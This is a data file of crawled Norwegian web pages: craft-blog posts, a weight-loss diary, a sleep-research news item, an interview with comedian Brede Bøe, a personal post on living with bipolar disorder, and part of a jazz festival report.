{"url": "http://broggisverden.blogspot.co.at/2011_01_01_archive.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:04:53Z", "text": "## s\u00f8ndag 16. januar 2011\n\n### Skissedillaskisse \\#95\n\nDenne uka er det Lene\u00a0som har laget skissa p\u00e5 Skissedilla.\n\nSpennende ting er p\u00e5 gang hos Skissedilla i n\u00e6rmeste fremtid, s\u00e5 det er bare \u00e5 f\u00f8lge med:)\n\n  \nHer er ukens bidrag fra meg. Hiv dere med\\!\n\n\n\n16:51  3 kommentarer:      \n\n## l\u00f8rdag 8. januar 2011\n\n### Scrappiness design\n\n\n\nVi i scrappiness design har hver m\u00e5ned en utfordring men premie. Denne m\u00e5neden skulle temaet v\u00e6re sol... Her er mitt bidrag som ble godkjent under tvil... :) Materiallista og utfordringen finner du her. Bli med :)\n\nBroggis  kl. \n14:52  5 kommentarer:      \n\n Etiketter: Scrappiness \n\n## s\u00f8ndag 2. januar 2011\n\n### Skissedillaskisse \\#93\n\nDenne m\u00e5neden er det v\u00e5r egen HegeAL og Det Lille Ekstra som sponser oss i Skissedilla. Stemplene til Hege er kjempe flotte og setter en liten ekstra prikk over i-en. Her er mitt bidrag til denne skissen, som ogs\u00e5 er laget av m\u00e5nedens sponsor.\n\nTrenger jeg og si jeg lengter til sommeren?\n\n\n\n18:24  7 kommentarer:      \n\n", "language": "no", "__index_level_0__": "6285a0c6-98a0-41e5-9c23-a80814e0df90"}
{"url": "http://erebos.blogg.no/?c=1272958728", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:16:50Z", "text": "Blogg fra en anonym gutt, som er lei av \u00e5 svette som en OL-ut\u00f8ver etter 20 trappetrinn..\n\n## Hva kommer min blogg til \u00e5 inneholde?\n\n  - 04.mai.2010 kl.08:21 i Generelt\nVel, jeg kommer til \u00e5 bruke dette som en slags dagbok. Skrive om hvordan det g\u00e5r med treningen, kostholdet, frustrasjonen og det positive jeg f\u00e5r utifra det. Samtidig f\u00e5 ut litt frustrasjon i de forventede \"m\u00e5 ha sukker\" periodene, hehe. \u00a0\n\n  \n**Forresten, gi meg gjerne tips om lignende blogger\\! De som fokuserer p\u00e5 slanking, ikke bodybuilder-blogger.**\n\n  - 04.mai.2010 kl.08:21 i Generelt\n## Om meg\\!\n\n**Hei\\!** Dette er da min nye blogg, som kommer til \u00e5 bli en kombinasjon av trenings-dagbok/blogg. Jeg velger \u00e5 blogge anonymt, til en viss grad. Jeg kan fortelle en del ting om meg f\u00f8rst, som er relevant i forhold til treningen jeg planlegger\\!\n\nJeg er en gutt i tjue\u00e5ra, rundt 185 cm h\u00f8y. Idag veier jeg forbanna 145 kg. Ja, du leste riktig. Hundre OG f\u00f8rtifem kilo. Jeg er vandt med \u00e5 drikke minst 1.5L cola hver dag, og generelt pakke i meg mat uten hemningen eller ettertanke. Jeg r\u00f8yker, men ikke utrolig mye. Jeg er i skikkelig d\u00e5rlig form fysisk, og det hele g\u00e5r selvf\u00f8lgelig utover psyken ogs\u00e5. Personlig klarer jeg ikke fortsette dette, for det starter \u00e5 \u00f8delegge viktige deler av mitt liv\\!\n\n\u00a0\n", "language": "no", "__index_level_0__": "48b0c24c-3264-4ffa-9ddc-44ab75d2bd38"}
{"url": "http://sovnforeningen.no/stine-knudsen-jo-lysere-dag-dess-mer-hypokretin/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:41:25Z", "text": "## Stine Knudsen: Jo lysere dag, dess mer hypokretin\n\n\n\n  -  mai 29, 2016\n\n### Stine Knudsen: Jo lysere dag, dess mer hypokretin\n\n**Hypokretin-niv\u00e5et i hjernen varierer i l\u00f8pet av dagen og i l\u00f8pet av \u00e5ret, viser ny dansk forskning.**\n\nTekst: Krister Olsen\n\nNarkolepsi-pasienter mangler signalstoffet hypokretin, som hjelper til \u00e5 regulere s\u00f8vn og v\u00e5kenhet. Hos friske mennesker er hypokretin-niv\u00e5et normalt, men det varierer likevel fra person til person. Danske forskerne har n\u00e5 sett p\u00e5 sammenhenger mellom hypokretin-niv\u00e5 og faktorer som kj\u00f8nn, alder, BMI, dagslengde, temperatur og sol og sn\u00f8. Funnene er sv\u00e6rt interessante n\u00e5r det gjelder dagslengde og lysforhold.\n\n\u2013 Niv\u00e5et \u00f8ker ut over dagen, if\u00f8lge Birgitte Kornum, som er seniorforsker ved Rikshospitalet Glostrup rett utenfor K\u00f8benhavn.\n\nJo lysere det er, dess mer hypokretin er det i hjernen. Dagslengde ser derfor ut til \u00e5 p\u00e5virke hypokretin-niv\u00e5et i st\u00f8rst grad.\n\n\u2013 Sesongvariasjonene er helt klare. Niv\u00e5et stiger fra februar til juni, og s\u00e5 g\u00e5r det nedover igjen. Denne utviklingen er sv\u00e6rt tydelig.\n\nKornum kan ikke forklare at forskningen viser en plutselig \"hypokretin-topp\" i januar, selv om det fortsatt er m\u00f8rkt. Unders\u00f8kelsen viser imidlertid at niv\u00e5et \u00f8ker n\u00e5r bakken er dekket av sn\u00f8 og det blir lysere.\n\n\u2013 Eller kanskje er det januarsalget som gj\u00f8r hverdagen lysere, ble det sagt humoristisk da forskningsrapporten ble presentert i Helsingfors.\n\nMan vet fra unders\u00f8kelser av hjernen at hypokretin \u00f8ker n\u00e5r man opplever glede og sosialt samv\u00e6r. Kanskje kan det v\u00e6re noe av grunnen til at niv\u00e5et \u00f8ker etter jul.\n\nOverlege Stine Knudsen ved Oslo universitetssykehus og NevSom p\u00e5peker at dette er sv\u00e6rt spennende forskning.\n\n\u2013 Dette kan v\u00e6re med \u00e5 forklare hvorfor mange mennesker f\u00f8ler seg mer tr\u00f8tte om vinteren, fordi hypokretin-niv\u00e5et er lavere enn om sommeren. Kanskje kan den oppkvikkende effekten kunstig lysbehandling gir i m\u00f8rketiden, skyldes at niv\u00e5et blir litt h\u00f8yere, sier Knudsen.\n\nFlere av de norske pasientene som har v\u00e6rt i Syden i l\u00f8pet av vinteren, forteller at de blir i bedre form og at effekten sitter i lenge. Kanskje kan danskenes forskning p\u00e5 hypokretin forklare hvorfor det er slik.\n\n\n\nDen norske delegasjonen til European Narcolepsy Day i Helsinki: Lasse \u00d8degaard (S\u00f8vnforeningen), Stine Knudsen (NevSom), Hilde Andresen (NevSom), Per Egil Hesla (Nevrolog), Krister Olsen (S\u00f8vnforeningen).\n\n", "language": "no", "__index_level_0__": "2df87755-37ca-4a92-863c-17581e89e689"}
{"url": "https://www.arbeidsmiljo.no/mine-kolleger-er-mitt-arbeidsmiljo/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:22:36Z", "text": "# \u2013 Mine kolleger er mitt arbeidsmilj\u00f8\\!\n\nTekst: Ellen Marie Arefjord (2002)  \n**Artisten Brede *B\u00f8e* er virkelig i farta for tida. Han er knallgod p\u00e5 imitering og komisk timing, han synger og svinger seg p\u00e5 scenen, han muntrer publikum med sitt festlige fjes. Men Brede er ogs\u00e5 en reflektert ung mann, som gjerne legger ansiktet i alvorlige folder. N\u00e5 i september er han konferansier under Arbeidsmilj\u00f8kongressen i Bergen.**\n\n\u2013 Hva arbeidsmilj\u00f8 er for meg? Gode kolleger\\! Brede B\u00f8e leverer svaret lynraskt, og kommer fort med mer: \u2013 Arbeidsmilj\u00f8 er selvsagt ogs\u00e5 teater, sal, scene\u2026og garderobe. Men ellers\u2026kj\u00f8kkenet mitt her hjemme er arbeidsmilj\u00f8 godt nok\\! Her \u00f8ver jeg meg, vil du se? sp\u00f8r han, spretter opp, og finner innmaten til en kj\u00f8kkenrull p\u00e5 ei hylle. Hans private tr\u00e5dl\u00f8se mikrofon\\! Den snakker og synger han inn i og bruker som om den var i tusenkronersklassen. Mer enn god nok for artisten. Brede B\u00f8e (32) tar imot Arbeidsmilj\u00f8s utsendte i Moss, i privaten. I tredje etasje i en staselig gammel hvit villa som i dag er blitt til \u00e5tte moderne enheter. Det er skr\u00e5tak og hems og lang veranda med ettermiddagssol \u2013 kan det v\u00e6re bedre? Pluss et herlig stort tuntre utenfor som renser lufta, gir ro og er godt \u00e5 se p\u00e5. \u2013 Og s\u00e5 betyr mitt arbeidsmilj\u00f8 en viktig ting til, smiler han med det appellerende ansiktet sitt: \u2013 N\u00e5r jeg forbereder meg og jobber hjemme hos meg selv kan jeg *r\u00f8yke akkurat s\u00e5 mye jeg vil\\!* Ikke en kjeft kan nekte meg det, for p\u00e5 *denne arbeidsplassen* bestemmer jeg\\! Deretter inhalerer han alt han er god for og lar r\u00f8yken danse avg\u00e5rde. Men det skal han ha, han spurte f\u00f8rst pent om det sjenerte journalisten at han tok seg en r\u00f8yk\u2026eller ti.\n\n**Alltid ha knagger\\!**  \nRevykomikeren fra Jel\u00f8ya avl\u00f8ser det ene popul\u00e6re prosjektet med det andre for tida. I sommer var det showet \u00abSkyfri himmel\u00bb i hjembyen med kollegene Espen Skj\u00f8nberg og Dennis Storh\u00f8i. En str\u00e5lende trio p\u00e5 scenen, akkompagnert av et lekkert musikalsk bakteppe. Det m\u00e5 selvsagt nevnes at nettopp denne oppsetningen ble nominert som \u00e9n av tre i klassen \u00abbeste forestilling\u00bb under Komiprisen i august, og i samme slengen fikk Brede plass blant de beste mannlige revy- og komedieartister i landet. Etter at Brede B\u00f8e vel var ferdig med \u00abSkyfri himmel\u00bb i sommer gikk han p\u00e5 sitt enmannsshow p\u00e5 Dizzie Teater i Oslo igjen, en videref\u00f8ring av \u00abBrede B\u00f8e p\u00e5 oppfordring\u00bb for to \u00e5r siden. I fjor var det revyen \u00abFriskmeldt\u00bb, og i v\u00e5r gikk opptak av \u00abHilde og Brede\u00bb-show som ble fulgt av en halv million seere p\u00e5 TV2. Mannen er n\u00e6rmest over alt. N\u00e5 i september tar han seg en Bergenstur, for \u00e5 v\u00e6re konferansier under festmiddagen p\u00e5 Arbeidsmilj\u00f8kongressen. \u2013 Hvordan forbereder du deg til et slikt oppdrag? \u2013 Jaaaaa, der tenker jeg som s\u00e5 at alle de som sitter i salen, de er veldig opptatt av det de driver med, og har *greie* p\u00e5 det. Det har ikke jeg. Men jeg kan vel ha et skjevt blikk p\u00e5 virksomheten, hva? For meg beh\u00f8ver det ikke ringe en eneste bjelle n\u00e5r jeg h\u00f8rer hva de har for seg. Likevel g\u00e5r det an \u00e5 f\u00e5 noe g\u00f8yalt ut av det. Settingen for Bergensjobben er alts\u00e5 ikke klar enn\u00e5: \u2013 Jeg er s\u00e5nn at jeg liker \u00e5 gj\u00f8re \u00e9n ting av gangen, og er ikke flink \u00e5 overlappe oppdragene, da g\u00e5r det lett i ball for meg. Her og n\u00e5 er det et par m\u00e5neder til jeg skal p\u00e5 kongressen. Men *n\u00e5r* jeg setter meg ned med Bergensjobben, da er det *bare den* som gjelder. S\u00e5 blir opptredenen ofte en blanding av planlagte ting\u2026som kanskje til og med virker improviserte\u2026.og noe jeg tar p\u00e5 sparket underveis. Denne mixen gir meg en liten nerve, som er bra. Det skjerper. Poenget er uansett at man m\u00e5 ha knagger. M\u00e5 ha knagg\u00e6r, svarer \u00f8stfoldingen.\n\n**Lever sitt eget liv**  \nBrede B\u00f8e er en scene-ener som har tatt Norge med storm. Han er gnistrende god som imitator, ja, er til tider nesten bedre enn originalen. Spr\u00e5k\u00f8re, kroppsspr\u00e5k, timing, mimikk, musikalitet, komikk \u2013 alt fins i ett eneste ord: talent. Fordi han for tida kan surfe p\u00e5 suksesser, tenker han ofte p\u00e5 sitt publikum. Det er jo *de* som gj\u00f8r at han kan leve av det han elsker \u00e5 gj\u00f8re\\! \u2013 Du kan ha fullt hus, likevel skj\u00f8nner du i \u00e5pningsnummeret at i kveld blir det tungt \u00e5 f\u00e5 salen med. Neste gang kan det komme bare 30, og forestillingen sitter som ei kule. Om man bare fant svaret p\u00e5 hvordan publikum *er* ville mange flere blitt million\u00e6rer\u2026 \u2013 Blir du ofte spurt om hva en revy handler om? \u2013 Jada, folk sp\u00f8r, og jeg svarer vel noe s\u00e5nt som at mens et teaterstykke som regel har et tema, handler revy om de assosiasjonene mottakeren f\u00e5r. Alts\u00e5 bestemmer du selv hva den handler om. \u2013 Leser du kritikker? \u2013 Jeg leser jo dem\\! Og noen ganger kan det v\u00e6re overraskelser der. Men stort sett stoler jeg mer p\u00e5 magaf\u00f8lelsen og den feelingen vi har hatt underveis i pr\u00f8veperioden. Min erfaring er ogs\u00e5 at i det \u00f8yeblikk scenen eier forestillinga, lever den sitt eget liv, og uansett kan vi ikke spille kritikken n\u00e5r oppsetninga er p\u00e5 plass.\n\n**Sykler og g\u00e5r**  \nDet er lummer sommer n\u00e5r vi m\u00f8tes. Og det er en solbrun moromann som tar imot. \u2013 Har du v\u00e6rt i Syden? \u2013 Langt i fra. Har sol nok her i Moss, jeg. S\u00e5 snart uteserveringa starter, er jeg p\u00e5 plass og sitter der et par dager. S\u00e5 du kan vel si at pilsen gj\u00f8r meg brun\u2026 Favorittstedet hans er \u00abDirty Nelly\u00bb, der er han stamgjest. \u2013 Er du ogs\u00e5 medeier? \u2013 Neinei, det er et prinsipp for meg, at det er greit *ikke* \u00e5 ha eierinteresser. N\u00e5 er det politikeren som svarer. H\u00f8yremannen. Allerede som ten\u00e5ring var Brede s\u00e5 opptatt av politikk at han fikk v\u00e6re med inn til selveste Stortinget i Oslo. Siden har interessen holdt seg. Han har til og med v\u00e6rt aktuell som ordf\u00f8rerkandidat i Moss\\! Brede har sittet i bystyret fra han var vel 20, men kaller seg mer en \u00abdann og vann\u00bb-politiker. Stiller opp n\u00e5r han har tid. Hva han ellers bruker tid p\u00e5, utenom artistlivet, er blant annet \u00e5 sykle. Han har nemlig ikke bil. Vil ikke eie det heller, og har *overhodet* ikke sertifikat. \u2013 Jeg er en *g\u00e5er*. G\u00e5r fort \u2013 og blir varm. Det straffer seg n\u00e5r jeg kommer fram\u2026 Fotgjengeren bruker ogs\u00e5 ofte taxi: \u2013 Jo, jeg kj\u00f8rer mye drosje. Ikke n\u00e5r jeg jobber her i byen, men jeg kan v\u00e6re i Oslo og plutselig f\u00e5 det for meg at jeg *vil hjem*. Uansett tidspunkt unner jeg meg en taxitur.\n\n**Lokalavis-journalist**  \nDet er en utadvendt eneboer som uttaler seg. Men Brede B\u00f8e er klar for at sivilstatusen godt kan endres, og da *m\u00e5* han ikke en gang bli boende i Moss hvis det skulle dukke opp en kj\u00e6reste. \u00abSingel, men motivert\u00bb, beskriver han seg selv som. I feiringen av 30-\u00e5rs dagen fikk han en hilsen fra sine fire eldre br\u00f8dre. De har ogs\u00e5 show og moro i seg, og hadde laget en tekst om at de hadde h\u00e5pet p\u00e5 en s\u00f8ster da han var ventet. S\u00e5 kom en \u00abbroster\u00bb, en bror og s\u00f8ster i ett. Brede har valgt \u00e5 v\u00e6re \u00e5pen med sin homofile legning, og har med varme og selvironi brukt \u00abbroster\u00bb-temaet i sin revy. No problem. \u2013 Beh\u00f8ver vi si noe mer om dette, 'a? \u2013 Nei. Det vi heller kan si noe om er at unge B\u00f8e ogs\u00e5 har v\u00e6rt journalist i lokalavisa. \u2013 For noen \u00e5r siden var jeg drittlei av \u00e5 spelle, og ville gj\u00f8re noe ordentlig. Jeg fikk hospitere i Moss Dagblad. M\u00e5tte m\u00f8te p\u00e5 jobb klokka null-\u00e5tte-femten og greier. Det var helt i orden for meg, jeg fikk struktur p\u00e5 dagen. Hadde til og med ei kveldsvakt\\! Og selv om jeg var helt novise, fikk jeg skrive portrettintervjuer\u2026jada\u2026vent litt, kommer det, f\u00f8r han fyker lettbent opp p\u00e5 hemsen \u2013 les: kontoret \u2013 og henter \u00absine\u00bb aviser. Han blar sm\u00e5stolt i dem, og synes det er fint \u00e5 vite at han klarte seg i et annet yrke enn det han har n\u00e5. Brede tror faktisk at den dav\u00e6rende redakt\u00f8ren var forn\u00f8yd ogs\u00e5. Han heter Paul Norberg, og er dagens ansvarlige redakt\u00f8r i Arbeidsmilj\u00f8.\n\n**Holder avstand**  \nI l\u00f8pet av samtalen svinger vi innom emnet arbeidsmilj\u00f8 igjen: \u2013 Arbeidsmilj\u00f8 er en egen greie for oss, det. Er ganske nakent, for \u00e5 si det s\u00e5nn, n\u00e5r vi kollegene m\u00f8tes for \u00e5 f\u00e5 til noe. Ofte blir det et veldig tillitsfullt forhold ut av det. Men vi kan ogs\u00e5 v\u00e6re uenige p\u00e5 jobb \u2013 mens vi er venner privat. Rart det der. Det spennende er at det ikke er ytre forutsetninger som danner grunnlag for det vi gj\u00f8r, fortsetter han. \u2013 *De* varierer hele tiden. Du kan gj\u00f8re entr\u00e9 gjennom et h\u00f8l i veggen, lese en monolog p\u00e5 en platting i parken, st\u00e5 p\u00e5 scenen p\u00e5 Chat Noir. Ikke minst p\u00e5 str\u00f8jobber vi m\u00e5 ta de forhold som bys. Personlig har jeg skifta p\u00e5 et kj\u00f8kken med servit\u00f8rer rundt omkring. Gikk s\u00e5 fint, s\u00e5. Viktigste er at det er *reint* rundt meg\\! mener Brede, som har det med \u00e5 ta ut premierenerver p\u00e5 rundvask av leiligheten. Kost og mask p\u00e5 scenen, kost og klut hjemme. \u2013 Jeg tror vel snarere det kan bli slik at du tilbys s\u00e5 gode garderobeforhold, med mineralvann, mat, frukt og jeg vet ikke hva\u2026alt for at artisten skal ha det all right. Mens problemet er at du ikke rekker \u00e5 bruke alle all right'ene\\! Du f\u00e5r bare takket for dem. Hva som ikke er helt OK for ham er n\u00e5r folk \u00abforsyner\u00bb seg av privatpersonen Brede B\u00f8e n\u00e5r han er ute. Dumper ned ved siden av ham og er *kamerat* fordi de vet hvem han er, selv om han aldri har truffet mennesket f\u00f8r. \u2013 Folk vil nok v\u00e6re hyggelige. Men jeg l\u00e6rte mye av at jeg har m\u00f8tt veggen. S\u00e5 for \u00e5 beskytte meg selv sp\u00f8r jeg slike litt p\u00e5g\u00e5ende personer om vi har en avtale? Har vi ikke det, trenger jeg ikke forklare hvorfor jeg vil holde avstand. Beh\u00f8ver ikke v\u00e6re uh\u00f8flig en gang\\! Bare bestemt. Er noe med \u00e5 styre butikken sj\u00f8l.\n\n**Liker \u00e5 dingle**  \nEn ny sigarett tennes, og Brede g\u00e5r litt videre p\u00e5 dette med \u00e5 st\u00e5 til rette for ting: \u2013 Forklaringssyndromet h\u00f8rer hjemme i en personlig samtale, synes jeg. Da kan man grave og undres\u2026s\u00e6rlig hvis man vil utvikle et forhold. Men overfor folk flest, for fremmede? Nei. Man skal rett og slett v\u00e6re n\u00f8ye med ikke \u00e5 bli andres tidsfordriv. Da f\u00e5r man heller ti stille og la folk v\u00e6re i fred. Ikke sant? I tillegg til at Brede B\u00f8e har l\u00e6rt \u00e5 verne seg og sitt, har han hjelp av sin agent Anita Nyhagen til \u00e5 styre artistlivet. \u00abFruen\u00bb, kaller han henne. \u00abFruen passer p\u00e5\u00bb\\! \u2013 Men bevares, jeg klager ikke over at jeg f\u00e5r for mye oppmerksomhet, *det* ber du jo om i et yrke som mitt. Det handler mer om dagsformen. Passer'e s\u00e5 passer'e. Jeg er ofte den f\u00f8rste til \u00e5 v\u00e6re med og ha det morsomt n\u00e5r jeg er i hum\u00f8r til det. Tar en \u00f8l etter jobb med kolleger, spiser en god middag ute, preiker med folk jeg velger \u00e5 preike med. Jeg liker \u00e5 *dingle*, b\u00e5de til ett og to p\u00e5 natta. Er ikke dingle et fint ord, du? I tillegg er han ganske glad i \u00e5 prate om en fyr som heter \u2013 nettopp Brede B\u00f8e. Han g\u00e5r via en svensk kompis for \u00e5 beskrive: \u2013 Kompisen sier noe s\u00e5nt som at \u00abjag \u00e4lskar att prata om mig sj\u00e4lv\u2026.ock n\u00e4r jag blir tr\u00f6tt p\u00e5 det, kan andra s\u00e4ga n\u00e5got om mig\u00bb. Sa du noe om meg, sa du?  \nGir alt han har: Jamen krever det sitt \u00e5 by p\u00e5 s\u00e5 mye sprudlende talent som Brede B\u00f8e gj\u00f8r p\u00e5 scenen. Her er han i garderoben etter revyen \u00abSkyfri himmel\u00bb i sommer. Svett, sliten \u2013 og glad.  \nTrives hjemme: \u2013 Jeg liker meg veldig godt i Moss, men skulle lykken st\u00e5 meg bi beh\u00f8ver jeg ikke gro fast her. Jeg er singel, men motivert, melder Brede B\u00f8e fra sin ungkarsleilighet i \u00d8stfold.  \nR\u00f8yk og damp: \u2013 En fordel med \u00e5 v\u00e6re frilanser, og bruke hjemmet sitt som arbeidsplass, er at man kan r\u00f8yke akkurat hvor mye man vil\\! sier Brede B\u00f8e. \u2013 Uten \u00e5 tenke p\u00e5 r\u00f8ykeloven\\!\n\nP\u00e5 Arbeidsmilj\u00f8senteret sine nettsider blir det benyttet cookies/infokapsler. En informasjonskapsel - s\u00e5kalt cookie - er en liten tekstfil som lastes ned og lagres p\u00e5 brukerens datamaskin n\u00e5r nettsiden \u00e5pnes. Informasjonskapselen brukes for eksempel til \u00e5 lagre innloggingsdetaljer, huske innhold i handle-vognen eller registrere hvor brukeren beveger seg p\u00e5 sidene. Det gj\u00f8r at vi bedre kan tilpasse sidene for hver enkelt bruker.\n", "language": "no", "__index_level_0__": "18827aac-b41c-479a-b804-2ecb53d5c0f0"}
{"url": "http://littkritikk.blogspot.com/2012/07/etter-en-opptur-kommer-en-nedtur.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:49:04Z", "text": "\n    \n\n## fredag 13. juli 2012\n\n### ...Etter en opptur kommer en nedtur... Eller var det omvendt?\\!\n\n\n\n  \nHarde fakta, klask i bordet.  \nEtter en opptur kommer en nedtur, det er like sant som at sommeren p\u00e5 vestlandet regner vekk.  \nMen s\u00e5nn er det, s\u00e5nn har det alltid v\u00e6rt.  \nS\u00e5nn er det \u00e5 v\u00e6re bipolar.  \nDet har sine fordeler, og det har sine ulemper.  \nListen med ulemper er lang, og det er ikke noen liste over fordeler, det er bare en fordel, en eneste, du l\u00e6rer deg selv s\u00e5 innmari godt \u00e5 kjenne.  \nDet m\u00e5 du, for det blir letter hvis du klarer \u00e5 ta noenlunde hensyn til den evige opp-og.ned-tur-syklusen.  \n\u00c5 kjenne at en nedtur eller opptur n\u00e6rmer seg er en enorm fordel.  \n  \nS\u00e5nn kjenner jeg det n\u00e5, jeg kjenner det p\u00e5 de sm\u00e5 tingene, tr\u00f8ttheten, initiativl\u00f8sheten, problemer med \u00e5 sove, hodet fylles med bomull, lys\u00f8mfintlig, lyd\u00f8mfintlig, irritabel, s\u00e5 veldig irritabel, og ikke minst en viss form for f\u00f8lelse av meningsl\u00f8shet.  \n  \nTr\u00f8ttheten har jeg sikkert beskrevet 1000 ganger her inne, men ihvertfall s\u00e5 f\u00f8ler jeg en unaturlig tr\u00f8tthet. Det er som om musklene blir bly, og det blir sabla vanskelig \u00e5 f\u00e5 gjort noe. Den minste arbeidoppgave virker som det mest umulige \u00e5 f\u00e5 til. Noe utf\u00f8res rett og slett p\u00e5 viljestyrke, for musklene fungerer ihvertfall ikke. Jeg blir mentalt sliten, og det smitterover p\u00e5 musklene, de blir gele, og hodet fylles med bomull..Sik at tankene g\u00e5r treigt, his jeg beveger hodet for fort, kan jeg h\u00f8re en suselyd i hodet, som om tankene krasjer inn i hverandre. Vanskelig \u00e5 forklare.  \nJeg kan ikke bevege meg ut d\u00f8ren uten solbriller, da klarer jeg ikke \u00e5 se p\u00e5 mennesker n\u00e5r jeg snakker is\u00e5fall, for jeg m\u00e5 knipe \u00f8ynene igjen, for lyset gj\u00f8r vondt.  \nOg lyde, alle lyder blir s\u00e5 mye h\u00f8yere og jeg m\u00e5 be folk snakke lavere, for jeg f\u00f8ler hodet mitt skal eksplodere hvert sekund.  \nOg ja, ting blir litt menigsl\u00f8st, som hvis du sitter \u00e5 tenker p\u00e5 universet og hvor alt kommer fra, litt for lenge. Du mister litt tr\u00e5den i virkeligheten for alt blir s\u00e5 overdimensjonert og ufattelig.  \n  \nMen slik er det bare, det er begynnelsen p\u00e5 en nedtur. Det vil ikke si at jeg kommer til ligge som en liten hulkende p\u00f8l og bare v\u00e6re en eneste enorm nedtur, det er ikke slik det er. Kanskje var det det en gang, men ikke n\u00e5.  \nDet er bare en del av en syklus.  \nMest sannsynlig er det en liten nedtur, men det vet jeg ikke. Tegnene p\u00e5 en nedtur forteller aldri det. Men jeg har ikke hatt noen store, alvorlige nedturer siden i tidlig vinter.  \n  \nDet var en gang jeg hatet disse tegnene,jeg hatet nedturen, jeg hatet sykdommen, lidelsen,kall det hva du vil.  \nMen ikke n\u00e5 lenger, n\u00e5 ser jeg det som en naturlig del av meg. Det er en viss trygghet i \u00e5 f\u00e5 disse tegnene, alt er normalt.  \nJeg vil g\u00e5 ned, og jeg vil og g\u00e5 opp.\n\n     \n\n|             |  |\n| ----------- |  |\n| Reaksjoner: |  |\n\n           \n## Intressante blogger\n", "language": "no", "__index_level_0__": "157568de-7db3-40f2-99c1-42146a38862c"}
{"url": "http://docplayer.me/644703-D-o-l-a-j-a-z-z-l-i-l-l-e-h-a-m-m-e-r-j-a-z-z-f-e-s-t-i-v-a-l.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-25T00:12:35Z", "text": "\n\n3 Side 3 1. OPPSUMMERING AV FESTIVALEN Der var det en glede for oss \u00e5 kunne \u00f8nske velkommen til en ny oktoberjazzfest p\u00e5 Lillehammer. Ogs\u00e5 D\u00f8lajazz 2013 ble en str\u00e5lende helg full av god musikk, opplevelser, god stemning og folkeliv. For styret er det en forl\u00f8sning n\u00e5r festivalen endelig er i gang, og selv om det da ogs\u00e5 hele tiden dukker opp tusen sm\u00e5 ting som m\u00e5 l\u00f8ses der og da, s\u00e5 er det en stor tilfredsstillelse \u00e5 oppleve at det vi har jobbet for i s\u00e5 lang tid endelig kunne vises frem og gi lyd fra seg. Og at alle de sm\u00e5 og store hjulene virker og griper inni hverandre slik vi hadde tenkt oss det. I \u00e5r ogs\u00e5 uten vannlekkasjer\\! Engasjementet blant alle frivillige og er enest\u00e5ende. Mange av dem har v\u00e6rt med i mange \u00e5r og noen var med for f\u00f8rste gang i \u00e5r. Det lover godt framover ogs\u00e5. Sammen gjennomf\u00f8rer vi en festival til jazzens, publikums og artistenes glede. D\u00f8laJazz er et stort arrangement som rommer mye og har plass til mange. I 2013 hadde vi alt i alt 56 arrangementer. Av disse var 23 i hovedprogrammet, inkludert tre barnekonserter, to nattjamer, samt \u00e5pning av festivalutstillingen. Og med sm\u00e5tt og stort opptr\u00e5dte n\u00e6rmere 250 artister\\! D\u00f8laJazz ser det som en spesielt viktig rolle \u00e5 bidra til rekruttering og nyutvikling, og to av hovedelementene v\u00e5re i denne sammenhengen er ungjazzseminaret og JazzIncubator, sistnevnte i \u00e5r for 11. gang og igjen med invitasjoner til hele Europa. Dette er store satsninger p\u00e5 unge som faktisk er ganske unike, og vi og v\u00e5rt publikum er heldig som f\u00e5r h\u00f8re og se fremtidens musikere utfolde seg. Det ble holdt ni JazzIncubator-konserter p\u00e5 Bingo n med musikkstudenter fra Norge, Sverige, Danmark, Tyskland, og USA. Ungjazzseminar arrangerte sin avslutningskonsert p\u00e5 s\u00f8ndag. Det ble solgt fem bedrifts-konserter. I festivalteltet fikk vi \u00e5tte gratiskonserter. Videre b\u00f8r nevnes nevne ivrige og glade barn p\u00e5 konserter i Banken, og begeistrede eldre som f\u00e5r servert konserter rett inn i stua p\u00e5 bo- og service sentere rundt om i Lillehammer. Andre viktige elementer er gatejazzparaden, samt talentprisen, ogs\u00e5 i \u00e5r med Sparebanken Hedmark som sponsor, og saksofonisten Magnus Bakken fra Lillehammer som vinner. I arbeidet med \u00e5 styrke \u00abfolkefesten\u00bb ble gratistteltet i \u00e5r flyttet til Sigrid Undsets plass, noe som i samarbeid med Lykkelige Dager og v\u00e6rgudene ga et meget godt resultat. Programmet inneholdt alts\u00e5 noe for alle, b\u00e5de ung og gammel, den erfarne og den mindre erfarne jazzinteresserte. Det slo an og det ble mange fullsatte konsertlokaler. D\u00f8laJazz er stolte over \u00e5 kunne tilby publikum et bredt program og konserter med forskjellige jazzuttrykk. Det er viktig \u00e5 kunne gi et tilbud og rom for det litt rare, det som t\u00f8yer grensene, samtidig som vi ogs\u00e5 \u00f8nsket \u00e5 gi noe til de fleste. En festival trenger imidlertid ogs\u00e5 \u00e5 utvikle arrang\u00f8rer og formidlere, og det er derfor spesielt givende \u00e5 ha det n\u00e6re samarbeidet vi har til bachelorutdanningen innen Kulturprosjektledelse og masterutdanningen i flerkameraproduksjon ved H\u00f8gskolen i Lillehammer i en slik gjensidig vinn-vinn situasjon. En ting er sikkert; D\u00f8laJazz er lyden av en levende moderne festival med et stort potensiale og en haug av erfaringer \u00e5 ta med seg videre. Hovedfokuset for D\u00f8lajazz er \u00e5 presentere et bredt program innenfor den vide jazzsjangeren med hovedvekt p\u00e5 norske jazzmusikere, med musikk b\u00e5de for f\u00f8rstegangslytteren og for mer kresne og erfarne jazzelskere. Men jazz er internasjonal, s\u00e5 koblingene til det internasjonale er\n\n\n\n4 Side 4 alltid der. Denne gangen var det internasjonale representert med Kyle Eastwood Band, Rino Arbore Quartet, og ikke \u00e5 forglemme det unike prosjektet Icewegian Musikal Treaty. Dette prosjektet kom i stand takket v\u00e6re et kreativt initiativ av Mette Kari Worum, og ekstra 